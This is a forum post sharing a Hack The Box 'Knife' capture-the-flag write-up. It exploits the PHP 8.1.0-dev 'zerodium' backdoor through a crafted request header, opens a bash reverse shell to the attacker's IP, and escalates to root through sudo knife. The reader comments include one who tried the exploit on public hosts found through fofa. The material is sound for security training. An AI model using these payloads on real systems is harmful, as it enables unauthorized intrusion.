HTB 第六台靶机 Knife拿下,历时一小时,附wp

I just pwned Knife on Hack The Box! Owned Knife from Hack The Box! #HackTheBox #htb #CyberSecurity #EthicalHacking #InfoSec #PenTesting

这个蛮简单的,但是细节很多
下面是wp

HTB Knife – 渗透测试详细报告

环境介绍

  • 攻击者 IP: 10.10.16.16
  • 目标靶机 IP: 10.10.10.242

渗透测试流程

1. 信息收集 - 渗透测试的本质就是信息收集

信息收集是渗透测试的基础,就像在解决一个复杂问题前需要了解问题的各个方面。我们需要尽可能多地了解目标系统,以找出潜在的弱点。

端口扫描 - 发现开放服务

首先,我们使用 Nmap 进行全端口快速扫描。这里的参数含义如下:

  • -sT:使用完整的 TCP 连接扫描
  • -min-rate 15000:设置最小发包速率,加快扫描速度
  • -p-:扫描所有 65535 个端口
nmap -sT -min-rate 15000 -p- 10.10.10.242

扫描结果显示仅有两个开放端口:

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

这告诉我们目标系统运行着 SSH 服务(用于远程登录)和 HTTP 服务(Web 服务器)。这是一个典型的服务器配置,通常 Web 服务器提供了最多的攻击面。

随后对这两个端口进行详细的服务探测:

  • -sC:使用默认的脚本集合进行扫描
  • -sV:探测服务版本信息
  • -O:尝试识别操作系统
nmap -sT -sC -sV -O -p22,80 10.10.10.242

详细扫描结果如下:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title:  Emergent Medical Idea
|_http-server-header: Apache/2.4.41 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

从这些结果中,我们得到了一些重要信息:

  • 目标服务器运行 Ubuntu Linux
  • SSH 版本是 OpenSSH 8.2p1
  • Web 服务器是 Apache 2.4.41
  • 网页标题是 “Emergent Medical Idea”

这些信息有助于我们确定可能的漏洞和攻击向量。例如,特定版本的服务可能存在已知的安全漏洞。

2. Web服务探测 - 深入分析 HTTP 服务

Web 服务通常是最常见的攻击入口点,因为它们需要与外部用户交互,可能包含各种漏洞。

访问目标的 HTTP 服务 (80端口),发现一个简单的静态网页,没有可交互的元素。这种情况下,我们需要更深入地检查服务器配置和响应。

尝试访问一些常见路径(如 /reboot.txt)均返回 404 错误,表明没有找到明显的隐藏内容。

进一步检查 HTTP 响应头,这一步非常关键,因为响应头通常会泄露服务器的配置信息:

HTTP/1.1 200 OK
Date: Wed, 02 Apr 2025 07:45:38 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 2406
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

从响应头中,我们找到了一个重要线索:X-Powered-By: PHP/8.1.0-dev。这表明服务器使用的是 PHP 开发版本,而不是稳定版本。开发版本通常不应该用于生产环境,因为它们可能包含未修复的漏洞或调试功能。

服务器配置总结:

  • Web服务器:Apache/2.4.41 (Ubuntu)
  • PHP版本:PHP/8.1.0-dev(开发版本!)

3. 漏洞识别与利用 - 发现 PHP 后门

漏洞研究是一个需要耐心和知识的过程。在实际渗透测试中,我们会查询安全数据库,搜索已知的漏洞信息。

通过研究,我们发现 PHP 8.1.0-dev 版本存在一个严重的安全漏洞。2021年3月28日,有人在这个版本的 PHP 源代码中植入了一个后门。虽然这个后门很快被发现并清除,但已经被编译到一些 PHP 构建版本中。

这个后门的工作原理很简单但非常危险:攻击者可以通过发送特殊的 HTTP 头 User-Agentt(注意是双 t,这是故意的拼写错误,为了避免被常规检查发现)来执行任意 PHP 代码。格式为 User-Agentt: zerodium<PHP代码>;,其中 “zerodium” 是触发后门的特定字符串。

漏洞验证

使用 Burp Suite 这类 HTTP 代理工具拦截请求,添加恶意 User-Agentt 头来执行系统命令:

GET / HTTP/1.1
Host: 10.10.10.242
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
User-Agentt: zerodiumsystem("whoami");
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

这段代码中,我们使用了 zerodium+system("whoami") 这个 PHP 函数来执行系统命令 whoami,该命令会显示当前运行进程的用户名。

服务器返回结果显示当前 PHP 进程是以用户 james 的身份运行的。这告诉我们:

  1. 漏洞确实存在
  2. 我们已经能够执行系统命令
  3. Web 服务以 james 用户权限运行

4. 获取反向 Shell - 建立持久连接

确认漏洞存在后,下一步是获取一个完整的反向 Shell,这样我们就能够更方便地与目标系统交互。反向 Shell 的原理是让目标机器主动连接到攻击者的机器,从而绕过防火墙的限制(当然这里肯定没有防火墙,而且现在的防火墙可以监测外联)。

首先在攻击机上启动 Netcat 监听,等待连接:

nc -lvnp 9999

参数解释:

  • -l: 监听模式
  • -v: 详细输出
  • -n: 禁用 DNS 解析
  • -p 9999: 在端口 9999 上监听

然后通过之前发现的 PHP 漏洞执行反向 Shell 命令:

GET / HTTP/1.1
Host: 10.10.10.242
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
User-Agentt: zerodiumsystem("bash -c 'exec bash -i >& /dev/tcp/10.10.16.16/9999 0>&1'");
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

这段命令的解释:

  • bash -c 表示执行 bash 命令
  • exec bash -i >& /dev/tcp/10.10.16.16/9999 0>&1 是一个复杂的 bash 命令:
    • bash -i 启动一个交互式 bash shell
    • >& /dev/tcp/10.10.16.16/9999 将输出重定向到 TCP 连接
    • 0>&1 将标准输入也重定向到同一连接
    • 整体效果是将 bash 的输入和输出都连接到攻击者的 IP 和端口

成功GetShell 后,getkey1:

cd /home/james
cat user.txt
# 输出: 6736cc8ee09d200639eeab8ee412c494

5. Shell 升级 - 改善交互性能

初次获取的 Shell 通常功能有限,不支持命令历史、自动补全、清屏等功能,这会使进一步操作变得困难。为了获得更稳定和功能完善的交互式 Shell,我们可以进行升级。

这个过程涉及几个步骤,让我们理解每一步的目的:

  1. 首先检查目标系统上可用的 Python 版本:
which python python2 python3
# 输出: /usr/bin/python3
  1. 使用 Python 的 pty 模块获取完整的 TTY(Teletype)终端:
/usr/bin/python3 -c 'import pty;pty.spawn("/bin/bash")';

这行代码使用 Python 创建一个新的伪终端,运行 /bin/bash

  1. 设置必要的环境变量,使终端更实用:
export SHELL=bash
export TERM=xterm-256color

这里设置了 shell 类型和终端类型,启用颜色和更多终端功能。

  1. Ctrl+Z 将 Shell 置于后台,回到本地终端

  2. 在本地终端配置 TTY 设置:

stty raw -echo;fg

这一步配置本地终端不处理特殊字符(raw 模式)并禁用本地回显,然后将后台任务带回前台(fg)。

  1. 按回车键,然后输入 reset 重新初始化终端

完成这些步骤后,我们获得了一个功能完善的交互式 Shell,可以使用命令历史、自动补全、方向键等功能,极大提高后续操作的效率。

6. 提升权限 - 获取 root 访问权限

在渗透测试中,获取普通用户权限后的下一个目标通常是尝试提升到管理员(root)权限。这一步骤常常依赖于系统配置错误、权限设置不当或特权程序中的漏洞。

首先,我们查看当前用户 james 可以执行哪些 sudo 命令:

sudo -l

这个命令列出当前用户可以使用 sudo(即以 root 权限)执行的命令。输出结果:

Matching Defaults entries for james on knife:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife

这告诉我们一个重要信息:用户 james 可以无需密码(NOPASSWD)以 root 权限运行 /usr/bin/knife 命令。这是一个非常有价值的发现,因为它提供了潜在的权限提升路径。

knife 是 Chef(一个配置管理工具)的命令行工具。我们需要了解它的功能,看看如何利用它提升权限。运行 /usr/bin/knife 查看其帮助文档,得知 knife 有多种功能,包括执行脚本的能力。

knife 的一些主要功能选项包括:

  • 基本参数:

    • -s, --server-url URL - Chef 服务器 URL
    • -k, --key KEY - API 客户端密钥
    • -c, --config CONFIG - 配置文件
    • -z, --local-mode - 使用本地存储库
    • -u, --user USER - API 用户名
    • -h, --help - 显示帮助信息
  • 执行命令:

    • knife exec [SCRIPT] - 执行 Ruby 脚本
    • -E, --exec - 指定内联脚本

对于我们的目标,最重要的是 knife exec 功能,它允许执行 Ruby 脚本。由于 Ruby 可以调用系统命令,我们可以利用这一功能执行 shell 命令。由于 knife 是以 root 权限运行的,这些命令也将以 root 权限执行。

利用 knife exec 功能,我们可以直接执行系统命令获取 root 权限:

sudo /usr/bin/knife exec -E 'system("/bin/bash")'

这行命令使用 Ruby 的 system() 函数执行 /bin/bash,由于是通过 sudo 运行 knife,这个 bash shell 将以 root 权限启动。

成功获取 root Shell 后,我们可以读取 root flag,完成渗透测试的最终目标:

cat /root/root.txt
# 输出: 6c92d4605160d4cc723149a473cf5087

7. 补充方法 - 直接获取 flag

除了获取完整的 root Shell,我们还可以使用更直接的方法读取 root flag。这种方法在某些场景下更为高效,尤其是当我们只需要获取特定文件的内容时:

sudo /usr/bin/knife exec -E 'puts File.read("/root/root.txt")'

这里使用了 Ruby 的 File.read() 函数直接读取文件,并使用 puts 将内容打印到屏幕上。这种方法避免了启动完整 shell 的开销,直接完成了任务。

技术分析与安全建议

本次渗透测试成功利用了两个关键漏洞:

  1. PHP 8.1.0-dev 后门漏洞:这是一个非常严重的漏洞,允许通过特制的 HTTP 请求头执行任意代码。这种类型的漏洞被称为"供应链攻击",攻击者通过污染软件的源代码或分发渠道来植入后门。

    防护建议:

    • 永远不要在生产环境中使用开发版本的软件
    • 始终从官方渠道获取软件,并验证下载的完整性
    • 定期更新所有软件到最新的稳定版本
    • 使用 Web 应用防火墙 (WAF) 过滤恶意请求
  2. sudo 权限配置不当:允许用户无需密码执行强大的系统命令是一个常见的配置错误。在这个案例中,knife 工具的功能过于强大,不应该被赋予无限制的 sudo 权限。

    防护建议:

    • 遵循最小权限原则,只授予用户完成任务所需的最小权限
    • 限制 sudo 命令的参数和选项,例如使用 sudoers 文件的 Cmnd_Alias 功能
    • 为需要高权限的应用程序创建专用服务账户,而不是使用通用账户
    • 定期审计系统权限配置

总结与学习要点

几个重要的安全概念:

  1. 信息收集的重要性:通过仔细分析 HTTP 头信息,我们发现了关键的漏洞线索(PHP 开发版本)。

  2. 供应链安全:PHP 后门漏洞提醒我们,即使受信任的软件也可能被恶意篡改。

  3. 权限管理:不当的 sudo 配置使得从普通用户到管理员的权限提升变得简单。

  4. 防御深度:即使初始漏洞被利用,正确的权限隔离和配置也能限制攻击者的能力。

这份报告清楚地展示了为什么系统管理员需要:

  • 保持系统和应用程序更新
  • 仔细配置权限,特别是 sudo 权限
  • 避免在生产环境中使用开发版本的软件
  • 在多层次上实施安全控制
21 个赞

前排围观

1 个赞

围观佬友的学习之路

1 个赞

围观大佬

1 个赞

前排围观佬友学习

1 个赞

:tieba_087: 大佬太强了!

1 个赞

大佬我可以给你一台服务器帮我测试一下吗

1 个赞

大佬好文章 :heart:

1 个赞

不明觉厉,太强了,佬 :xhs_033:

1 个赞

不明觉厉

1 个赞

大佬太强了,学习学习

太妙了~


记得 TryHackMe 上的 Agent T 用的是同样的漏洞,那个印象中简单一点。但是当时好像走了很多弯路,主要是没想到 PHP 还能有漏洞。

后面在 fofa 上找公网目标,随便试了试,结果这个漏洞利用不了,不知道怎么回事,当时搞不明白,现在看看感觉可能是因为 8.1.0 dev 版本中就已经做了二次修正?

Fofa搜索链接: